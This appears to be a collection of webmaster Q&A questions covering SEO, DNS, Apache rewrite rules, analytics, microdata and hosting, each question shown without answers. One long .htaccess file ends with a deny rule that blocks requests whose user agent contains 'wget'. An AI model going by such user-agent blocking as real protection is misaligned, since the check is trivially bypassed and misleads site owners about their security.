Bingbot request for trafficbasedsspsitemap.xml which does not exist

The logs for a website I manage show a request for a non-existent file by Bingbot. The details of the request are   * Path: **/trafficbasedsspsitemap.xml**   * Useragent: "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"   * IP address: 65.55.213.244 (reverse lookup resolves to **msnbot-65-55-213-244.search.msn.com** )  What reason is Bingbot looking for this file? What does "Traffic Based SSP Site Map" mean?


Google lists this gif several thousand times as not having a license, is it safe to post on my company's Twitter account?

I found a GIF of a guy skeet shooting listed on several sites and I've posted it in my Twitter account below: https://twitter.com/leeand00/status/488894537599680515 I looked up the image on Google Images and it's listed several thousand times as having no license associated with it. When I check the other license types it isn't listed there at all. Would I be posting this to my non-profits' account at our own risk? Or does the fact that there is no license listed on Google make the image free game?


How to keep track of backlinks?

I am operating an internal website to which other internal websites are linking through deep-links. Currently, when I alter my website, I go out and search for corresponding links other sites, and try to update them or inform the webmaster. I'm searching for an efficient workflow to help me keep track of the inbound links, so that I can change the links. I cannot run link-checkers on the other websites, but in terms of attracting visitors it is in my own interest to keep the inbound links up to date. My website is sitting in Sharepoint. I was thinking of keeping a spreadsheet with all the links and pages they are on. Another option just occurred to me: check in the Sharepoint logs for calls to dead links together with the originating (referrer URL) and the go and fix it (basically "on demand")... but I don't know how to do it in Sharepoint 2013. Any suggestion/idea is most welcome. Maybe there is even a software for this task.


Improve site with SEO microdata

I need to do SEO Microdata for one site. What is my biggest problem is to choose which type would be on this list http://schema.org/docs/full.html . So let's say that I should choose the type of portfolio, and link the portfolio is as follows: Code: `<a href = "#" data-remote = "images/portfolio/image1.jpg" class = "portfolio- box" data-toggle = "lightbox" data-gallery = "I" data-title = "Image1"> </ a>` because the problem of slip-propery is in this link, img, logo, ... Do you like this could be used itemtype "http://schema.org/Product" and how strictly it should all be, if there is more than one type of a section of the site or there is only one appropriate? Thank you in advance ..


Are Amazon affiliate links bad for SEO?

Example:   For a PC game review website would it be bad for SEO to have one Amazon affiliate link in addition to the game review? Since these links would be coded in the form of `<iframe>` would adding a `rel="nofollow"` be of much benefit? Lets say they were not `iframe` links and regular `<a href="">link</a>`. A respected SEO equated affiliate links to "poison" for rankings and recommended they be pulled to a separate domain or buried deeper in the site away from root. So is it better to just remove all affiliate links and not risk any penalty from Google? I have looked around and not really been able to find a direct answer to this from Google. Here is some information I did find:   * http://moz.com/blog/getting-seo-value-from-your-affiliate-links   * http://www.nichepursuits.com/how-to-get-a-google-penalty-using-affiliate-links-and-how-to-recover


Determine domain name registered in a name server

Suppose I have a new nameserver that is set up to associate my domain name with the IP address of my new web server (but isn't a nameserver for my domain name yet). My domain name is still using with my old nameserver which provides the IP of my old web server. How can I test that my new name server will redirect to the correct IP address before I switch my domain to using the new name server?


Pages Crawled Per Day in Google Webmaster Tools

What determines the pages crawled per day graph in Google webmaster tools? It shows that It has a maximum of 2701 pages. However, the maximum number of pages on my website is not more than 300. How can this be possible? How to explain the spike on the graph (from 100 to 2700) without any actual change in site structure or increase in the number of pages? ![webmaster Tools Pages Crawled Per Day](http://i.stack.imgur.com/mVZtN.png)


Is it necessary to submit sitemap to www and non www?

I have submitted my website to Google Webmaster Tools with both `www` and with `no-www`. I had made the domain without `www` to my preffered domain and have submitted a sitemap. My question is should I also submit a sitemap to the one whit `www`?


How to ignore certain coding standard errors in PHP CodeSniffer

We have a PHP 5 web application and we're currently evaluating PHP CodeSniffer in order to decide whether forcing code standards improves code quality without causing too much of a headache. If it seems good we will add a SVN pre-commit hook to ensure all new files committed on the dev branch are free from coding standard smells. Is there a way to configure PHP codeSniffer to ignore a particular type of error? or get it to treat a certain error as a warning instead? Here an example to demonstrate the issue:               <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">     <html>     <head>         <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />     </head>     <body>     <div>         <?php         echo getTabContent('Programming', 1, $numX, $numY);              if (isset($msg)) {             echo $msg;         }         ?>     </div>     </body>     </html>      And this is the output of PHP_CodeSniffer:               > phpcs test.php           --------------------------------------------------------------------------------     FOUND 2 ERROR(S) AND 1 WARNING(S) AFFECTING 3 LINE(S)     --------------------------------------------------------------------------------       1 | WARNING | Line exceeds 85 characters; contains 121 characters       9 | ERROR   | Missing file doc comment      11 | ERROR   | Line indented incorrectly; expected 0 spaces, found 4     --------------------------------------------------------------------------------      I have a issue with the " _Line indented incorrectly_ " error. I guess it happens because I am mixing the PHP indentation with the HTML indentation. But this makes it more readable doesn't it? ( _taking into account that I don't have the resouces to move to a MVC framework right now_ ). So I'd like to ignore it please.


Is it safe to have no TOS or PP?

I have coded my own forums from the ground up. I have tried my best to make my code as secure as possible and encrypting everything I can. I want to use this forum for a Minecraft server. I have one concern however.... I would like to setup this forum now but having no TOS or Privacy Policy has put me off. Will having none of either cause me any legal trouble in the unlikely event of a data leakage? Thanks


What's the correct terminology when referring to the “home” page when logged in and logged out?

Struggling with some terminology here. Let's use Twitter as an example. If you are logged in, you have a completely different "home" page from when you are not logged in. How would you refer to each of those pages, so you can distinguish between them? The usual words index, home, landing could apply to both of them.


Stop Google Analytics from appending hostname?

I've come across an Analytics profile that is appending the rest of a URL to the end of a page's path. For example when looking at the page that exists at `http://example.com/page` I would expect to see `/page` but instead it shows me `/page/http://example.com/`. The profile has no filters applied to it, and until July was reporting as expected (`/page`), in July the site in question switched hosts _(and absolutely nothing else, so I'm not sure that's the problem)_. The analytics code on the site is the standard Google Async code with a domain set. All other profiles for the site show `/page` as expected. Any ideas as to how I can get the profile to function as expected?


Money exchange field

It was on hold for over 1.5 hour even after I made changes, so here again. I am making a money exchange website. On my homepage there will be 2 fields, The first field is a Bitcoin field and the other is a $ field. I want to do the following: If a visitor enters an amount in the "Bitcoin" field then the value of that bitcoin should be appeared in the $ field in dollars, by taking the data from mtgox.com + my compensation. A good example of this is the following site: https://bitonic.nl/ Someone goes to the website and enters an amount on one of the fields and the other field is calculated automatically. Does someone have a code ready to do this


How should I set up the a second website in relationship to my first website for maximum SEO benefits?

I'll try to make this simple and also explain why I"m doing this. I own **website A** , which stocks candles mostly for retail and church use. I now have the opportunity to become a reseller for church products under a different name. For simplicity's sake I **was** going to add those products to **site A**. Now I realize that my demographics are not very compatible, and need to set up a second website for church products - **site B**. I hate to start from SEO scratch! My question. Is there a way to set up the second site side by side on the same hosting service so that Google sees it as ONE site but the end user of each site would not see the other one. To clarify. **Wordpress site A** -- original domain sharing link juice and reputation with **Wordpress site B** -- residing on same hosting service but with new domain pointing at it? The websites will not share keywords, design, content or customers, they will be different from each other in almost every way. I'm open to ANY suggestions on how to do this.


Alter the appearance of form elements for Paypal buttons without having to edit the CSS from my theme

I have template from ThemeForest and I don't want to edit CSS from this template, because I don't have time for it. I want integrate Paypal buttons to my web page. The problem is Paypal buttons use a `<FORM>` tag for payment selection option. I have overloaded style for the `<FORM>`tag, but it does not look like it should. How can I do this without using CSS for this element? I don't want use `<IFRAME>` and I don't want to edit the CSS if I can avoid it. This CSS look weird, must I edit it to solve this problem?               /*////   - Forms -   ////*/     form {             margin-bottom:20px;     }     body.ie7 form, body.ie8 {             margin-bottom:40px;     }     form p {             margin-bottom:15px;     }     form label {             float:left;             width:140px;             margin-top:5px;     }     form input, form textarea, form select {             padding:10px 5px;             background:#fff url(../img/bg-input.gif) repeat-x top;             border:1px solid #D9D9D9;             width:448px;             border-radius:3px;             -moz-border-radius:3px;             -webkit-border-radius:3px;     }     form input.small {             width:35px;     }          html, body, div, span, object, iframe,     h1, h2, h3, h4, h5, h6, p, blockquote, pre,     abbr, address, cite, code,     del, dfn, em, img, ins, kbd, q, samp,     small, strong, sub, sup, var,     b, i,     dl, dt, dd, ol, ul, li,     fieldset, form, label, legend,     table, caption, tbody, tfoot, thead, tr, th, td,     article, aside, figure, footer, header,     hgroup, menu, nav, section, menu,     time, mark, audio, video {       margin:0;       padding:0;       border:0;       outline:0;       font-size:100%;       vertical-align:baseline;       background:transparent;     }


Page Rank / Github

I'm curious if anyone has any insight into something: Google seems to have recently changed their algorithm, and now Github repos have basically disappeared from the search results. If I want to try and get a repo to show up on Google again, does anyone have any suggestions for how I might optimize my repo's home page?


Need help getting 'www' working for domains and subdomains using Apache & DNS

I've searched through a lot of different posts asking this question and I haven't really seen a straight forward answer on how to get this working. At the moment, with the following settings, adding a `www` to the front of my domain or subdomain does not load the webpage, I get a redirection saying my domain can't be found. Could someone explain how I can get `www.domain.com` and `www.subdomain.domain.com` to work? Currently, I have the following DNS records: **EDIT: This is the DNS Records that worked AFTER closetnoc's answer** _I did not have the CNAME's before_               A         @                1.2.3.4     A         subdomain        1.2.3.4     CNAME     www              domain.com.     CNAME     www.subdomain    subdomain.domain.com.      I also have a virtual host file as follows below, (and another one for the subdomain, but you get the gist). This is to force redirect to HTTPS:               <VirtualHost *:80>          RewriteEngine on          ReWriteCond %{SERVER_PORT} !^443$          RewriteRule ^/(.*) https://%{HTTP_HOST}/$1 [NC,R,L]     </VirtualHost>          <VirtualHost *:443>         ServerName domain.com         ServerAlias www.domain.com         ServerAdmin webmaster@localhost         DocumentRoot /path/to/public_html              SSLEngine on         SSLCertificateFile /path/to/domain.crt         SSLCertificateKeyFile /path/to/domain.key         SSLCertificateChainFile /path/to/domain-bundle              <Directory "/path/to/public_html">            AllowOverride All         </Directory>              ErrorLog ${APACHE_LOG_DIR}/domain-error.log         CustomLog ${APACHE_LOG_DIR}/domain-access.log combined     </VirtualHost>


input type="email"

I have a form where I ask for email addresses. Usually I'd use               <input type="email" ...>      but I want to allow a user to type `foo` rather than `foo@mycompany.com` in the (likely) case that they are using an `@mycompany.com` email address. Is there a way to get around the validation (if format matches this regex, accept; otherwise, validate normally), or should I just use               <input type="text" ...>      and ignore the semantics and so forth?


Using scaled images or using same image everywhere?

I have an image lets say 300px*300px I am using 3 different sizes of it on my site 100px*100px, 200px*200px, 300px*300px. What will be the best for SEO. Using same images everywhere or using 3 images with different sizes.


How can I redirect any kind of access to my site to somewhere else, except for me?

My site, www.example.com has a MyBB forum installation, and has many users constantly checking it out. I would like to make a major change to it - basically, I want to delete everything it has and start clean. However, this rebuilding process may take me hours since I need to do a lot of things. Thus, whenever an user tries to enter _any part of my site_ (www.example.com, www.example.com/blog etc), the user will always be redirected to www.example.com/underconstruction so they can see a nice HTML site explaining the current situation. But not only that - while _I_ am configuring my site, I need to visit it myself to make sure things do work live. So basically, **it has to redirect everyone who isn't me**. Is that possible in any way? I am using GoDaddy hosting.


Advice for using Google AdSense

The banners on my website are generated by `$.ajax()` call to the server after the page load is complete (`$(window).load()` event). I want to to integrate ads from google to fill in empty banners when there is no active campaign associated to them. I know that using ajax to place the AdSense code after the page load is complete is a violation of the AdSense Program Policies. Is it legal (in terms of that program politics) to place the AsSence code as a default in all the banners on my website, and after the ajax request, remove unnecessary banners and replace them with banners from my own advertising management system? I couldn't find a straight answer to this issue, and I don't want to change the logic of my CMS to be able to use google adsense in my website.


Redirecting a subdomain to an HTTPS website

I need to redirect a subdomain on my website to a third party HTTPS website. We have our website hosted on GoDaddy and I tried their subdomain forwarding mechanism but that didn't work. That's when I created a seperate subdomain (which created a folder with that subdomain name) on my hosting. I then placed an HTML file with this code:               <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">     <html xmlns="http://www.w3.org/1999/xhtml">     <head>     <meta HTTP-EQUIV="REFRESH" content="0; url=https://third-party-domain.com">     <title>Untitled Document</title>     </head>          <body>     </body>     </html>      But this didn't work. I then tried a .htaccess redirect using this:               Redirect 301 / https://third-party-domain.com      But this didn't work either. What am I doing wrong?


Heroku dyno vs vps performance

I'm trying to get a sense of how a Heroku web dyno compares to a standard vps. For example, how many web dynos would be equivalent to a Linode 512? or a Linode 1024?


Make DotNetNuke Multilingual

I have a site with DotNetNuke and I want to create content available in different languages. I was checking the DNN options and I can choose a language, but it doesn't change my content. Not even the "login" button has changed. Is there a way to make a multilingual site with DotNetNuke?


Nesting micro-data vs Independent Items

I've been reading about micro-data and it's implementation, however the examples are quite simple and I'm yet to find a website that thoroughly implements structured data throughout the entire site. So as I was implementing the markup I started to dig up questions on how would be the best way to do this. One of the main dilemmas I'm facing is whether it's best to create independent items (schema.org items) or rather create an item that represents the page with all it's content as nested items that belong to that parent item. So I could have markup that would reflect the following:               - Company     - Product     - Offers     - Article      Or it could be something like this:               -Company         - Product             - Article         - Offers      Where the indentation reflects it's nesting (for this question I didn't bother to figure out if this is actually doable for these item types, it's just a generic pseudo-example). So basically I'm just not sure how a search engine would use this information, because if I nest it, the page would contain a single item with various properties (that would be items themselves) but I'm unaware as to how these examples would be treated and which would be the pros and cons of each solution. Any pointers, documentation or experience on the subject are welcome and much appreciated.


What database engine should I use?

I don't know if this is the right place to ask this question but I want to become a web programmer for my occupation very soon. I actually went to a store known a PC WORLD in the UK where my laptop wasn't working. Anyway the person on the counter was talking to me about certain thing and then he found out that I am currently doing web and database programming in my master studies. Now he has a mobile repair website but he hasn't got a database. He is thinking of calling me in the future as he really wants a database created for his website. I always like a challenge so I think I will probably agree to do this job for him. But what my question is that first of all, if a person already has it's own website and he wants me to create a database for him, then which server do I use, do I use the server he currently has or is it up to me to find a server to link to. Second what is the best database software to use, he said he is thinking of using Access which I said to him don't do it on Access. I was thinking of using either Oracle or MYSQL but I think Oracle is expensive, I don't know about MySQL. I am thinking of using PHP to link between his website and the database. Third of all if somebody asked you to create a database for a small business website, how much would you charge that person. What is a reasonable price? Thank You (If this is not right place to ask this question, can you please tell me which stack exchange site I should go on to ask this question. Also which correct tags can I use for this question)


Sitemap tool fails to find all URLs in my site

* I added my url to Google http://www.google.com/addurl.html   * I added a meta tag with description and keywords   * I added it in Google web master tools and submit the site map   * There is no any robots in my site But when I create the sitemap.xml automatically with http://www.xml- sitemaps.com/ or other tools they don't find all the pages! Are there any better tools, how can I fix the problem?


Any negative consequences of linking from a wordpress site to another site that uses ASP pages

A client of mine had a blog that utilized ASP pages for some content. Recently they moved their site to a Linux-based server and installed Wordpress. They did not want to have all the ASP pages rewritten in PHP, so instead they are linking to a separate website for some pages. My question is this, does this have any negative impacts on the main Wordpress website? My primary concern is SEO but if any other concerns come to mind I'm all ears.


Allowing customers to edit static website via WYSIWYG

I've set a few clients up with Adobe (formerly Macromedia) Contribute to edit static html content. Add the comments to prevent them from causing too much damage and it works okay:
stuff the user can edit
           So my questions:   1. Are there any Contribute competitors that are worthwhile?   2. Are there any Contribute competitors that don't require a piece of desktop software?   3. Are there any Contribute competitors that work on mobile (iPad, iPhone, Android, Blackberry?)


Tracking in-page, in-site links with Google Analytics

My client's site is already fitted with Google Analytics. We are recording virtual pageviews (with _trackPageview), and we are recording events (with _trackEvent) for certain elements of the site. I have read Nick's answer to Find out where the user has come from — previous page URL within the same site, so I have a rough understanding of how to analyze page-to-page clicks within the site. I have also experimented with the In-Page Analytics tool. I have a somewhat open-ended request from my client to assist with adding tracking codes for **all** internal links of the site. In other words, to add codes to distinguish between, say, a click in the left navigation rail, a click in the header navigation, and a click in the body text--all of which go to the same page of the site. So this request goes beyond analyzing a special banner link, something like that. We have not discussed specific goals and funnels. Apologies for the two-part nature of my question: It seems to me that the only way to accomplish this is to attach distinct events to every hyperlink on the site. Is there another way to do this? More to the point, is there a good business case for treating every link as distinct?


Change the domain name pointing in Google Apps

I need advice about my website which is hosted in Google Apps (free plan). Currently I use a domain name called "A" and have already added another domain name called "A+" as a secondary domain in my Google Apps account. I set my email accounts with this "A" and "A+" domain name. How do I set the domain name "A" so when my web visitor accesses it, it will automatically forward to the "A+" website? Will my emails still work properly without any problem?


Website images stop loading

I have a website at `www.bdgregg.com`. The website was once hosted on a different server. I have moved the site to a new server. Everything remains the same as far as site content, images etc. However the images have stop loading for the different products. I have reloaded the database dump, re-uploaded images folder... but still the images will not load. It even appear as it the images are corrupt in some form. I am not sure why this would happen when the same files worked on another server without problems.


Changing default browser font-size affecting 3 divs floated inside a header div

Changing a web browsers default font size from 16px adversely affects the layout of the 3 divs that I have floated within my header div. Considering that the 3 header divs are fixed elements and not part of the site content or navigation as such, would it be better for me to fix the font size of the text in each div? The affected site is here, if you change your browsers default font size to 15 or 17, for example, then you will notice that the positioning of the 3 divs becomes badly affected. I presume that this is due to me implementing the div floating incorrectly, the content div is configured the same as the header div but resizes elegantly if the font size is decreased or increased. The other alternative would be for me to just implement an image rather than divs containing heading text but I would then lose the SEO benefits that the non-graphical text provides. Many thanks in advance, Andy


Magento Order Invoices - Text TINY, how do I enlarge it?

When printing invoices (PDF) from Magento, the font is 7px... it's absolutely tiny, half my customers probably won't be able to read it, is there a way to make it 12+? Thanks.


htaccess file isn't working, but did work before

I just moved from a dedicated server to a shared server to save money, but now my htaccess file doesn't work. I think its 1and1, but I'm not 100% sure. What the heck is wrong? Any ideas? The single pages work:               RewriteRule ^internships/?$ internships.php [L]      but pages underneath them don't:               RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]      So if you go to `mysite.com/internships` it will bring you to the correct page, but if you go to `internships/photography` it won't. ### htaccess file               AddType x-mapp-php5 .php          RewriteEngine on     RewriteBase /          RewriteCond %{HTTP_HOST} ^www.mySite\.com$     RewriteRule ^(.*)$ http://mySite.com/$1 [R=301,L]          #temporary#######     RewriteRule ^casting-calls/?$ soon.php [L]     RewriteRule ^upgrade/?$ soon.php [L]     #################          RewriteRule ^internships/([A-Za-z0-9_-]+)/?$ internships.php?p=$1 [L]     RewriteRule ^internships/?$ internships.php [L]          RewriteRule ^profile/mail/to-([A-Za-z0-9_-]+)/?$ mail.php?to=$1     RewriteRule ^profile/mail/(read|unread|sent)/?$ mail.php?view=$1 [L]     RewriteRule ^profile/mail/?$ mail.php [L]          RewriteRule ^privacy/?$ privacy.php [L]     RewriteRule ^terms/?$ terms.php [L]     RewriteRule ^contact/?$ contact.php [L]     RewriteRule ^advertising/?$ advertising.php [L]     RewriteRule ^membership/?$ membership.php [L]     RewriteRule ^forgot/?$ forgot.php [L]          RewriteRule ^admin/([a-z_]+)/?$ admin.php?m=$1 [QSA,L]     RewriteRule ^admin/?$ admin.php [L]          RewriteRule ^user/([A-Za-z0-9_-]+)/photos/([0-9]+)/?$ portfolio.php?username=$1&photo=$2 [L]     RewriteRule ^user/([A-Za-z0-9_-]+)/photos/?$ portfolio.php?username=$1 [L]     RewriteRule ^user/([A-Za-z0-9_-]+)/?$ user.php?username=$1 [L]     RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/([0-9]+)/?$ friends.php?username=$1&page=$2&common=1 [L]     RewriteRule ^user/([A-Za-z0-9_-]+)/common-friends/?$ friends.php?username=$1&common=1 [L]     RewriteRule ^user/([A-Za-z0-9_-]+)/friends/([0-9]+)/?$ friends.php?username=$1&page=$2 [L]     RewriteRule ^user/([A-Za-z0-9_-]+)/friends/?$ friends.php?username=$1 [L]          RewriteRule ^issues-([0-9]+)/?$ issues.php?issue=$1 [L]     RewriteRule ^issues/?$ issues.php [L]          RewriteRule ^join/(model|industry|agency|subscriber)/process-([0-9]+)/?$ join.php?type=$1 [L]     RewriteRule ^join/(model|industry|agency|subscriber)/?$ join.php?type=$1 [L]     RewriteRule ^join/?$ join.php [L]          RewriteRule ^profile/friends/(banned|requests)/([0-9]+)/?$ friends.php?mode=$1&page=$2     RewriteRule ^profile/friends/(banned|requests)/?$ friends.php?mode=$1     RewriteRule ^profile/friends/([0-9]+)/?$ friends.php?page=$1 [L]     RewriteRule ^profile/friends/?$ friends.php [L]     RewriteRule ^profile/photos/edit-profilepic/?$ portfolio.php?edit=profilepic [L]     RewriteRule ^profile/photos/?$ portfolio.php [L]     RewriteRule ^profile/experience/?$ profile-edit.php?m=experience [L]     RewriteRule ^profile/personal/?$ profile-edit.php?m=personal [L]     RewriteRule ^profile/resume/?$ profile-edit.php?m=resume [L]     RewriteRule ^profile/settings/?$ profile-edit.php [L]     RewriteRule ^profile/?$ profile.php [L]          RewriteRule ^profile/(.*) http://modelingintl.com/user/$1 [R=301,L]          RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&photo=$4&sort=$3 [L]     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/(new|hot|results)/?$ voting.php?contest=$2&photo=1&sort=$3 [L]     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/([0-9]+)/?$ voting.php?contest=$2&photo=$3 [L]     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/browse/?$ voting.php?contest=$2&photo=1 [L]     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/add/?$ voting.php?contest=$2&add=1     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/([0-9]+)/?$ voting.php?contest=$2&page=$4&sort=$3 [L]     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/(new|hot|results)/?$ voting.php?contest=$2&sort=$3 [L]     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/([0-9]+)/?$ voting.php?contest=$2&page=$3 [L]     RewriteRule ^voting/([A-Za-z0-9_-]+)-([0-9]+)/?$ voting.php?contest=$2 [L]     RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/([A-Za-z0-9_-]+)/?$ voting.php?vol=$1&iss=$2&network=$3 [L]     RewriteRule ^voting/vol([0-9]+)-iss([0-9]+)/?$ voting.php?vol=$1&iss=$2 [L]     RewriteRule ^voting/?$ voting.php [L]          RewriteRule ^search/([0-9]+)/?$ search.php?page=$1&view=1 [L]     RewriteRule ^search/([0-9]+)/(details|photos)/?$ search.php?page=$1&view=$2 [L]     RewriteRule ^search/(details|photos)/([0-9]+)/?$ search.php?page=$2view=$1 [L]     RewriteRule ^search/(details|photos)/?$ search.php?view=$1 [L]     RewriteRule ^search/?$ search.php?view=1 [L]          RewriteRule ^articles/([A-Za-z0-9_-]+)-([0-9]+)/?$ article.php?article=$2 [L]     RewriteRule ^articles/?$ contribute.php [L]     RewriteRule ^contribute/submit/?$ contribute.php?submit=1 [L]     RewriteRule ^contribute/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ contribute.php?sfor=$1&page=$2 [L]     RewriteRule ^contribute/([0-9]+)/?$ contribute.php?page=$1 [L]     RewriteRule ^contribute/?$ contribute.php [L]          RewriteRule ^qna/([A-Za-z0-9_-]+)-([0-9]+)/?$ question.php?qna=$2 [L]     RewriteRule ^qna/([A-Za-z0-9\s_-]+)/([0-9]+)/?$ qna.php?sfor=$1&page=$2 [L]     RewriteRule ^qna/submit/?$ qna.php?submit=1 [L]     RewriteRule ^qna/([0-9]+)/?$ qna.php?page=$1 [L]     RewriteRule ^qna/?$ qna.php [L]          RewriteRule ^api/([A-Za-z0-9_-]+)$ api.php?m=$1 [QSA,L]     RewriteCond %{HTTP_USER_AGENT} wget [NC]     RewriteRule .* - [F]


I have a mobile app that produces lots of data and I wish to make it available to everyone

My app produces geo-spatial data which I can host on my servers, but I also wish to give this data away to the open data community, does any one know of a hosting organization where I can create a website, and offer the data and incur no expenses on my part?


WHMCS for subscription based server or alternative

I have been recently looking for a PHP billing system similar to the one used by a lot of webhosts - WHMCS. What we provide is an online profile for companies to market themselves to their potential audience. To do so there is a fee of £20/m or £200/y. What I really like about WHMCS is that it manages your entire billing side for you.. the issue you I do have with it is that it's strongly related to web hosting, which we aren't. Also it doesn't seem that flexible to fit into our current system. Does anyone have any advice or suggestions on any similar PHP systems, or whether WHMCS can be edited enough to do what I need it to do? Thanks :)


Client-side background noise generation script

my question is quite similar to this one: background noise generator but without having to store and transmit an image, in png, jpg, gif or even css/base64 (i.e. not server-side but client-side): Is it possible to dynamically (client-side) generate a web page's (noisy) background image, from scripting from the same page? Thanks.


how will google treat http://yoursite.com/page?a=1 and http://yoursite.com/page?a=2 will it treat them different?

how will google treat yoursite.com/page?a=1 and yoursite.com/page?a=2 will it treat them different or same url. Or is there any solution i want google to treat same page but with different content. All though the meta tag will be same.


Present my all videos from a certain YouTube channel

I would like to make a page **on my site** that shows an embedded video player for **each** video in a certain YouTube channel. (I don't want to just link to YouTube's page for that channel) Preferably I would like some control over presentation. What's the best way to do this? If server programming is necessary, I would be most comfortable with a Perl solution but would be open to PHP, etc.


DNS Configuration when registrar and host are two different companies

I'm a total noob when it comes to DNS configuration. My client bought a domain through one company and is hosting their site with another (a virtual dedicated server). I can't find anything on the web that explains one's way through this setup. Where do I start? Which nameservers do I use? Which company's zone files do I edit? Basically it boils down, for me that I don't understand which company takes the lead, and which piggybacks off their configuration. Thanks in advance for the help.


subdomains apache rewrite rules

Let's say I have my web folder as public_html. In there I have a sub folder. I can view the folder at: `www.mydomain.com/sub` & `mydomain.com/sub` What I want is:               sub.mydomain.com      This will show the content of `public_html/sub`. How would I set up my rewrite rules to do this.


Does Google Search exclude contents of <nav> from summary?

HTML5 has a new tag, `<nav>`. Do popular search-engines ignore contents within such tag when they generate page summaries?


Buying a domain in other country: larger response times?

I bought a domain in a very well know provider of domains in USA (Godaddy). Now I want to use that domain for a site (local bussines) hosted in a server in Spain, and I'm wondering if I will get shorter response times if I have bought the domain in the same firm where I contract the hosting, or if search engines punish my site because of that.


Are there any free webhosts who offer SMTP to an email on a separate domain?

I have written up a PHP script that sends form inputs to an email. However, the free webhost that I've tried could only send SMTP to a domain that you owned. I don't have one yet, and can only use subdomains, and can't send to emails like gmail.com Do you know of any free webhosts that let you send to gmail? It's just to test the script and see whether it works, and therefore it doesn't matter if there are ads or other stuff.


Changing website Url - Am I making an SEO mistake

**I have a webiste with a .com domain that is a year old. The business is a shop based in Ireland and I have purchased a .ie domain. I plan to move the website over to the new domain, SEO Good or Bad idea?** Old Url - SmythsOfTerenure.com | New Url - SmythsComputerRepair.ie (I am using Fake names and fictional business in the example Url's) The new domain has my main keyword in it. The old domain has my family name and business location (city district) It currently ranks high for lots of relevant keywords in Google with low traffic and low competition. Current website traffic is about 80 session per week. 80% of that traffic is Organic from Google. I am changing domain in an attempt to help SEO long term by having a CC TLD (.ie rather than .com) and having my main Keyword in the domain. I plan to do 301 re-directs from old to new and update GW Tools and G Analytics but am I making a mistake changing it at all as I know rankings may fall in the sort term. Homepage PR=0 and very few inbound links. Should I just leave it on the old domain?   Or after a few months should I be back up ranking as well as I am now?


Where can I find a list of these colored graphics (hearts, diamonds, etc) that show up in Google SERPs?

I've been noticing colored gif icons showing up in the description tag in Google SERPs. Such as: , , ✅ Where can I find a list of all these icons that Google can cache and display? I really like that these show up because these colored icons definitely entice the eye for attention, just like the Author image with an indented listing.


Forward subdomain to a new URL but retain the URL entered by the user - Bigrock

I have my static website hosted on bigrock.com.. (xyz.com). I recently created a webapp which I am hosting on Amazon AWS. I wanted my subdomain sub.xyz.com to be redirected to the app deployed on AWS. I created a subdomain in bigrock and redirected the same to the URL of the EC2 instance in AWS. When I did that when I access sub.xyz.com the URL in the browser changes and I get redirected to the amazon app. How do I hide the EC2 URL and have the user operate out of sub.xyz.com. Also, when I do this, any other URLs like sub.xyz.com/something or sub.xyz.com?something=somethingelse should also work. Could you please tell me what I need to do on the CPanel of bigrock to make this happen?


What's an acceptable "Avg. Page Load Time"?

Is there any industry rule of thumb for what's considered an _unacceptable_ load time v. an _OK_ one v. a _blistering fast_ one? We're just reviewing some Google Analytics data and getting **0.74 Avg. Page Load Time** reported. I guess that's OK. However it would be good if some meatier comparison data were available, or a blog post, or somewhere where there's some analysis of what speeds are generally being achieved by various kinds of sites. Any useful links to help someone interpret these speeds? If you Google it you just get a lot of results dealing with how to improve your speed. We're not at that stage yet.


Is it OK to block my javascript files in robots.txt?

Is it OK to block my javascript files in robots.txt, or can it hurt my website SEO-wise?


How to forward emails to my custom domain to my Gmail account?

I bought a domain without webspace and want to forward emails to that domain to my Gmail account. But I don't receive any emails which are send there, not even a return-to-sender-email. I also tried with another email provider and my company's email address. My hoster supports email forwarding, thus I activated it with the "catch all" option and added my 3 email addresses as target. The domain is configured with `www IN CNAME example.rhcloud.com`. There is no other configuration yet. Do I need to add MX entries? Or what else do I need to do? P.S.: Don't migrate this question to serverfault. They said I'm not allowed to ask questions, because I'm not a sysadmin...


Sitemap for multiple language site

I have a multiple site. For example: English language page: `mysite.com` And `mysite.com/en` Farsi language page: `mysite.com/fa` Japanese lanuage page: `mysite.com/jp` The content posts in English site (`mysite.com/en`) is different by posts in Japanese site (`mysite.com/jp`) and Farsi site (`mysite.com/fa`). Do I need to a saparate sitemap address for each language?


Contextual Advertising API like Gmail Ads

Which advertising network has an API I can use to show my users targeted ads based on certain dictionary words present in their user-generated content, similar to Gmail's targeted ads? **Edit:** The user-generated content is not public and is therefore not indexed by Google, so AdSense is not an option.


rich snippets ignored by google

> **Possible Duplicate:**   >  Why would Google Rich Snippets work for one site author but not another? I'm facing one problem here. I made rich snippets - microdata for the website but google ignores all of them. Here is how it looks like in testing tool . It doesn't detect any errors. I've read that google ignores the microdata in hidden fields. Unfortunately this is partially the case since I use jquery to interact with the contect, but nevertheless it is not hidden everywhere and I believe that google should recognize at least the microdata visible to the user permanently. Am I missing something here? It is now about 3 weeks since I updated website with rich snippets.


Does google contribute ranking from cdn.example.com to example.com?

